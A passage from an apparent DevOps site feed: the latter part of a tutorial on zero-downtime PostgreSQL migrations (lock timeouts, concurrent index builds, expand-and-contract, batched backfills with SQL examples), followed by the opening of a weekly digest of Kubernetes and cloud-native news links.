<p>When your <code>ALTER TABLE</code> asks for an <code>ACCESS EXCLUSIVE</code> lock and some long-running <code>SELECT</code> is already holding an <code>ACCESS SHARE</code> lock on the table, your <code>ALTER TABLE</code> has to wait. That is fine on its own. The problem is that while it waits, it sits at the front of the lock queue, and every new query that needs a conflicting lock now queues behind it. A plain <code>SELECT</code> needs <code>ACCESS SHARE</code>, which conflicts with the pending <code>ACCESS EXCLUSIVE</code>, so the <code>SELECT</code> waits too.</p>
<p>So the chain is: one slow analytics query holds a read lock, your instant <code>ALTER TABLE</code> queues behind it, and then every normal query on that table queues behind your <code>ALTER TABLE</code>. The table is frozen until the slow query finishes, even though your schema change would have taken 5 milliseconds.</p>
<p>You can watch it happen. Open a second session during a migration and run:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SELECT</span> pid, state, wait_event_type, <span class="hljs-keyword">left</span>(query, <span class="hljs-number">60</span>) <span class="hljs-keyword">AS</span> query
<span class="hljs-keyword">FROM</span> pg_stat_activity
<span class="hljs-keyword">WHERE</span> wait_event_type <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;Lock&#x27;</span>
<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> query_start;
</code></pre><pre><code class="hljs language-text">  pid  |        state        | wait_event_type |                           query
-------+---------------------+-----------------+------------------------------------------------------------
 18442 | active              | Lock            | ALTER TABLE orders ADD COLUMN region text
 18455 | active              | Lock            | SELECT * FROM orders WHERE id = $1
 18460 | active              | Lock            | SELECT * FROM orders WHERE id = $1
 18471 | active              | Lock            | UPDATE orders SET status = $1 WHERE id = $2
</code></pre><p>Three normal queries stuck behind one <code>ALTER TABLE</code> that is itself stuck behind something else. That is your outage.</p>
<h2 id="h2-always-set-a-lock-timeout" class="group relative scroll-mt-24">
        <a href="#h2-always-set-a-lock-timeout" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Always set a lock timeout
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-always-set-a-lock-timeout"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the single highest-value habit. Before any schema change, tell PostgreSQL to give up if it cannot get the lock quickly:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SET</span> lock_timeout <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;3s&#x27;</span>;
<span class="hljs-keyword">SET</span> statement_timeout <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;0&#x27;</span>;  <span class="hljs-comment">-- keep this off for long index builds</span>

<span class="hljs-keyword">ALTER TABLE</span> orders <span class="hljs-keyword">ADD</span> <span class="hljs-keyword">COLUMN</span> region text;
</code></pre><p>Now if the lock is not available within 3 seconds, the migration fails instead of queueing:</p>
<pre><code class="hljs language-text">ERROR:  canceling statement due to lock timeout
</code></pre><p>A failed migration is annoying. A frozen production table is an incident. The failed migration is the outcome you want, because it means the table kept serving traffic the entire time. You retry the migration later, ideally when no long-running query is holding the table.</p>
<p>Set this in your migration tool, not by hand. Most frameworks let you configure it. For raw SQL files, put the <code>SET lock_timeout</code> line at the top of every migration. Some teams set it in <code>postgresql.conf</code> for the migration role so it cannot be forgotten.</p>
<p>One caveat: <code>lock_timeout</code> only covers the wait to acquire the lock. A <code>CREATE INDEX CONCURRENTLY</code> that runs for 10 minutes is not affected, because it is doing work, not waiting. That is fine. The danger is the waiting, not the working.</p>
<h2 id="h2-build-indexes-concurrently" class="group relative scroll-mt-24">
        <a href="#h2-build-indexes-concurrently" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Build indexes concurrently
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-build-indexes-concurrently"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Never build an index on a live table without <code>CONCURRENTLY</code>:</p>
<pre><code class="hljs language-sql"><span class="hljs-comment">-- Wrong: blocks all writes for the whole build</span>
<span class="hljs-keyword">CREATE</span> INDEX idx_orders_customer <span class="hljs-keyword">ON</span> orders (customer_id);

<span class="hljs-comment">-- Right: writes keep working</span>
<span class="hljs-keyword">CREATE</span> INDEX CONCURRENTLY idx_orders_customer <span class="hljs-keyword">ON</span> orders (customer_id);
</code></pre><p><code>CONCURRENTLY</code> scans the table twice and takes longer, but it does not block reads or writes. The tradeoffs you need to know:</p>
<ul>
<li>It cannot run inside a transaction block. Many migration tools wrap every migration in a transaction by default. You have to turn that off for this migration (Rails has <code>disable_ddl_transaction!</code>, others have similar flags).</li>
<li>If it fails partway, it leaves an invalid index behind. This is the gotcha that surprises people.</li>
</ul>
<p>A common failure is building a unique index on data that turns out not to be unique:</p>
<pre><code class="hljs language-text">ERROR:  could not create unique index &quot;idx_users_email&quot;
DETAIL:  Key (email)=(jane@example.com) is duplicated.
</code></pre><p>The build failed, but PostgreSQL did not clean up after itself. You now have a leftover index marked invalid. Find it:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SELECT</span> indexrelid::regclass <span class="hljs-keyword">AS</span> index, indrelid::regclass <span class="hljs-keyword">AS</span> <span class="hljs-keyword">table</span>
<span class="hljs-keyword">FROM</span> pg_index
<span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">NOT</span> indisvalid;
</code></pre><pre><code class="hljs language-text">        index        |  table
---------------------+---------
 idx_users_email     | users
</code></pre><p>Drop it (also concurrently, so the drop does not block writes either) and fix your data before retrying:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">DROP</span> INDEX CONCURRENTLY idx_users_email;
</code></pre><h2 id="h2-the-expand-and-contract-pattern" class="group relative scroll-mt-24">
        <a href="#h2-the-expand-and-contract-pattern" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The expand-and-contract pattern
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-expand-and-contract-pattern"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Indexes are the easy case. The hard case is changing a column that the application already reads and writes. Renaming a column, changing its type, making it <code>NOT NULL</code>, or splitting it into two columns all break the running application the instant the schema changes, because the old code still expects the old shape.</p>
<p>The fix is to never change a column in place while code depends on it. You split the change across multiple deploys. This is the expand-and-contract pattern, sometimes called parallel change.</p>
<pre><code class="hljs language-text">  Deploy 1: EXPAND     Deploy 2: MIGRATE      Deploy 3: CONTRACT
  add new shape        backfill + dual-write   drop old shape
  (additive only)      switch reads to new     (additive removal)

  old col ───────────────────────────────────────► dropped
  new col      ◄──── added ───────► written ──────► sole source
</code></pre><p>The rule that makes it safe: every individual deploy is backward compatible with the code that is still running. At no point does new schema require new code or new code require new schema.</p>
<p>Say you want to rename <code>users.name</code> to <code>users.full_name</code>. A plain <code>ALTER TABLE ... RENAME COLUMN</code> breaks every running instance of the old code that still selects <code>name</code>. Do this instead:</p>
<p><strong>Deploy 1 (expand).</strong> Add the new column. Nothing reads it yet.</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SET</span> lock_timeout <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;3s&#x27;</span>;
<span class="hljs-keyword">ALTER TABLE</span> users <span class="hljs-keyword">ADD</span> <span class="hljs-keyword">COLUMN</span> full_name text;
</code></pre><p>Update the application to write to both columns on every insert and update. Reads still come from <code>name</code>.</p>
<p><strong>Deploy 2 (migrate).</strong> Backfill the existing rows (see the batching section below), then switch reads to <code>full_name</code>. Now both columns are kept in sync and the app reads the new one.</p>
<p><strong>Deploy 3 (contract).</strong> Once you are sure no running code reads <code>name</code>, drop it:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SET</span> lock_timeout <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;3s&#x27;</span>;
<span class="hljs-keyword">ALTER TABLE</span> users <span class="hljs-keyword">DROP</span> <span class="hljs-keyword">COLUMN</span> name;
</code></pre><p>Three deploys to rename a column feels like a lot. It is also the difference between a routine change and a customer-facing outage. The same pattern handles type changes (add <code>id_bigint</code>, backfill, swap), splitting columns, and moving data between tables.</p>
<h2 id="h2-adding-a-not-null-column-safely" class="group relative scroll-mt-24">
        <a href="#h2-adding-a-not-null-column-safely" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Adding a NOT NULL column safely
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-adding-a-not-null-column-safely"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Adding a nullable column is cheap. Making a column <code>NOT NULL</code> is where people get caught, because a naive <code>SET NOT NULL</code> scans the whole table under an <code>ACCESS EXCLUSIVE</code> lock.</p>
<p>Do it in steps. First add the column nullable and backfill it. Then add a <code>CHECK</code> constraint as <code>NOT VALID</code>, which is instant because it only applies to new rows:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">ALTER TABLE</span> users <span class="hljs-keyword">ADD</span> <span class="hljs-keyword">COLUMN</span> email_verified <span class="hljs-type">boolean</span>;

<span class="hljs-comment">-- backfill here (see next section), then:</span>

<span class="hljs-keyword">SET</span> lock_timeout <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;3s&#x27;</span>;
<span class="hljs-keyword">ALTER TABLE</span> users
  <span class="hljs-keyword">ADD CONSTRAINT</span> users_email_verified_not_null
  <span class="hljs-keyword">CHECK</span> (email_verified <span class="hljs-keyword">IS</span> <span class="hljs-keyword">NOT NULL</span>) <span class="hljs-keyword">NOT</span> VALID;
</code></pre><p>Now validate it in a separate statement. <code>VALIDATE CONSTRAINT</code> scans the table, but it takes only a <code>SHARE UPDATE EXCLUSIVE</code> lock, which allows reads and writes to continue:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">ALTER TABLE</span> users VALIDATE <span class="hljs-keyword">CONSTRAINT</span> users_email_verified_not_null;
</code></pre><p>On PostgreSQL 12+ you can then promote it to a real <code>NOT NULL</code> and PostgreSQL skips the table scan, because the validated <code>CHECK</code> already proves no nulls exist:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">ALTER TABLE</span> users <span class="hljs-keyword">ALTER</span> <span class="hljs-keyword">COLUMN</span> email_verified <span class="hljs-keyword">SET</span> <span class="hljs-keyword">NOT NULL</span>;
<span class="hljs-keyword">ALTER TABLE</span> users <span class="hljs-keyword">DROP</span> <span class="hljs-keyword">CONSTRAINT</span> users_email_verified_not_null;
</code></pre><p>The same <code>NOT VALID</code> then <code>VALIDATE</code> trick works for foreign keys. Adding a foreign key normally locks both tables while it checks every existing row. Split it:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">ALTER TABLE</span> orders
  <span class="hljs-keyword">ADD CONSTRAINT</span> orders_customer_fk
  <span class="hljs-keyword">FOREIGN KEY</span> (customer_id) <span class="hljs-keyword">REFERENCES</span> customers (id) <span class="hljs-keyword">NOT</span> VALID;

<span class="hljs-keyword">ALTER TABLE</span> orders VALIDATE <span class="hljs-keyword">CONSTRAINT</span> orders_customer_fk;
</code></pre><h2 id="h2-backfill-in-small-committing-batches" class="group relative scroll-mt-24">
        <a href="#h2-backfill-in-small-committing-batches" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Backfill in small, committing batches
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-backfill-in-small-committing-batches"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When you backfill a column on a large table, do not run one big <code>UPDATE</code>. A single <code>UPDATE users SET email_verified = false WHERE email_verified IS NULL</code> on 40 million rows holds locks for the whole run, builds a huge transaction, and bloats the table with dead rows that vacuum has to clean up later.</p>
<p>Batch it. Each batch updates a few thousand rows and commits, so transactions stay short and other queries keep moving. A stored procedure with <code>COMMIT</code> inside the loop (PostgreSQL 11+) is the cleanest copy-paste version:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">PROCEDURE</span> backfill_email_verified()
<span class="hljs-keyword">LANGUAGE</span> plpgsql <span class="hljs-keyword">AS</span> $$
<span class="hljs-keyword">DECLARE</span>
  affected <span class="hljs-type">integer</span>;
<span class="hljs-keyword">BEGIN</span>
  LOOP
    <span class="hljs-keyword">UPDATE</span> users
    <span class="hljs-keyword">SET</span> email_verified <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>
    <span class="hljs-keyword">WHERE</span> id <span class="hljs-keyword">IN</span> (
      <span class="hljs-keyword">SELECT</span> id <span class="hljs-keyword">FROM</span> users
      <span class="hljs-keyword">WHERE</span> email_verified <span class="hljs-keyword">IS</span> <span class="hljs-keyword">NULL</span>
      LIMIT <span class="hljs-number">5000</span>
    );
    <span class="hljs-keyword">GET</span> DIAGNOSTICS affected <span class="hljs-operator">=</span> ROW_COUNT;
    EXIT <span class="hljs-keyword">WHEN</span> affected <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;  <span class="hljs-comment">-- nothing left to update</span>
    <span class="hljs-keyword">COMMIT</span>;                  <span class="hljs-comment">-- commit each batch, release locks</span>
  <span class="hljs-keyword">END</span> LOOP;
<span class="hljs-keyword">END</span>;
$$;

<span class="hljs-keyword">CALL</span> backfill_email_verified();
</code></pre><p>If the backfill is putting too much load on the database, add a small <code>PERFORM pg_sleep(0.1)</code> before the <code>COMMIT</code> to slow it down. Five thousand rows per batch is a reasonable starting point. Tune it based on row size and how much replication lag you can tolerate, because every batch ships to your replicas too.</p>
<p>When the backfill finishes, drop the procedure:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">DROP</span> <span class="hljs-keyword">PROCEDURE</span> backfill_email_verified;
</code></pre><h2 id="h2-a-migration-checklist-before-you-ship" class="group relative scroll-mt-24">
        <a href="#h2-a-migration-checklist-before-you-ship" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A migration checklist before you ship
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-a-migration-checklist-before-you-ship"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Run through this before any production migration:</p>
<ul>
<li>Does every statement set <code>lock_timeout</code>?</li>
<li>Is every index built with <code>CONCURRENTLY</code>, outside a transaction block?</li>
<li>Does any statement rewrite or scan a large table while holding <code>ACCESS EXCLUSIVE</code>? If so, split it with <code>NOT VALID</code> plus <code>VALIDATE</code>, or move to expand-and-contract.</li>
<li>Is the migration backward compatible with the code currently running? It has to be, because old and new code run side by side during a deploy.</li>
<li>Did you test it against a staging database with production-like row counts and a long-running query in another session to trigger the lock queue?</li>
</ul>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Pick your worst offender and fix it this week. Grep your migration history for <code>CREATE INDEX</code> without <code>CONCURRENTLY</code> and for <code>ADD COLUMN ... NOT NULL</code>. Those two patterns cause most of the outages.</p>
<p>Then make the safe path the default so people do not have to remember it:</p>
<ul>
<li>Set <code>lock_timeout</code> in <code>postgresql.conf</code> (or per-role) for the account your migrations run as, so a forgotten <code>SET</code> does not cost you an outage.</li>
<li>Add a linter to CI that fails the build on unsafe DDL. If you use Rails, the <a href="https://github.com/ankane/strong_migrations">strong_migrations</a> gem flags these patterns before they merge. Django, Flyway, and Liquibase have similar checks or plugins. For raw SQL, <a href="https://github.com/sbdchd/squawk">squawk</a> lints migration files directly.</li>
<li>Put a slow query holding a read lock into your staging test suite so a missing <code>lock_timeout</code> shows up before production does.</li>
</ul>
<p>The goal is not to memorize every lock level. It is to make the table stay online no matter what a migration does. Set the timeout, build concurrently, expand before you contract, and backfill in batches. Do those four things and the 2am index that took down <code>orders</code> becomes a migration that fails loudly in staging and ships quietly to production.</p>
<p>Sources:</p>
<ul>
<li><a href="https://www.postgresql.org/docs/current/explicit-locking.html">PostgreSQL: Explicit Locking</a></li>
<li><a href="https://www.postgresql.org/docs/current/sql-altertable.html">PostgreSQL: ALTER TABLE</a></li>
<li><a href="https://www.postgresql.org/docs/current/sql-createindex.html#SQL-CREATEINDEX-CONCURRENTLY">PostgreSQL: CREATE INDEX (CONCURRENTLY)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 23, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-23</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-23</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-dynamic-configuration-for-cloud-native-swift-services" class="group relative scroll-mt-24">
        <a href="#h3-dynamic-configuration-for-cloud-native-swift-services" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Dynamic configuration for cloud native Swift services
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dynamic-configuration-for-cloud-native-swift-services"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern Swift services increasingly run alongside the same cloud native infrastructure stacks that power much of today’s Kubernetes ecosystem — including ConfigMaps, containerized workloads, declarativ</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/06/01/dynamic-configuration-for-cloud-native-swift-services/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-starrocks-on-amazon-eks-with-keda-and-karpenter-for-enterprise-olap-workloads" class="group relative scroll-mt-24">
        <a href="#h3-scaling-starrocks-on-amazon-eks-with-keda-and-karpenter-for-enterprise-olap-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling StarRocks on Amazon EKS with KEDA and Karpenter for enterprise OLAP workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-starrocks-on-amazon-eks-with-keda-and-karpenter-for-enterprise-olap-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Financial analytics at enterprise scale is unforgiving. Queries must return in seconds, not minutes. Thousands of finance professionals need concurrent access during monthly close cycles. And when dat</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/scaling-apache-starrocks-on-amazon-eks-with-keda-and-karpenter-for-enterprise-olap-workloads/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-a-cloud-native-internal-developer-platform-with-kubernetes-gitops-and-supply-chain-security" class="group relative scroll-mt-24">
        <a href="#h3-building-a-cloud-native-internal-developer-platform-with-kubernetes-gitops-and-supply-chain-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a cloud native internal developer platform with Kubernetes, GitOps, and supply chain security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-cloud-native-internal-developer-platform-with-kubernetes-gitops-and-supply-chain-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern software delivery is no longer constrained by application code — it is constrained by the platform that runs it. This article presents the design of a cloud-native Internal Developer Platform (</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/29/building-a-cloud-native-internal-developer-platform-with-kubernetes-gitops-and-supply-chain-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-vm-migration-what-comes-after-the-lift-and-shift" class="group relative scroll-mt-24">
        <a href="#h3-beyond-vm-migration-what-comes-after-the-lift-and-shift" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond VM migration: What comes after the lift-and-shift
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-vm-migration-what-comes-after-the-lift-and-shift"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I&#39;ve had this conversation dozens of times with infrastructure teams. They&#39;ve just finished, or are deep into, a VM migration off a legacy hypervisor. The hard part is nearly done. Or, so they think.H</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/beyond-vm-migration-what-comes-after-lift-and-shift"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-security-notice-former-helm-apt-mirror-domain-baltocdncom-statement" class="group relative scroll-mt-24">
        <a href="#h3-security-notice-former-helm-apt-mirror-domain-baltocdncom-statement" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Security Notice: Former Helm APT Mirror Domain baltocdn.com Statement
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-security-notice-former-helm-apt-mirror-domain-baltocdncom-statement"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Helm Security Team has received third-party reports that the ownership on the former community-maintained Debian/Ubuntu APT mirror domain, baltocdn.com, has changed after baltocdn.com&#39;s original r</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Helm Blog</strong></p>
<p><a href="https://helm.sh/blog/security-notice-baltocdn"><strong>🔗 Read more</strong></a></p>
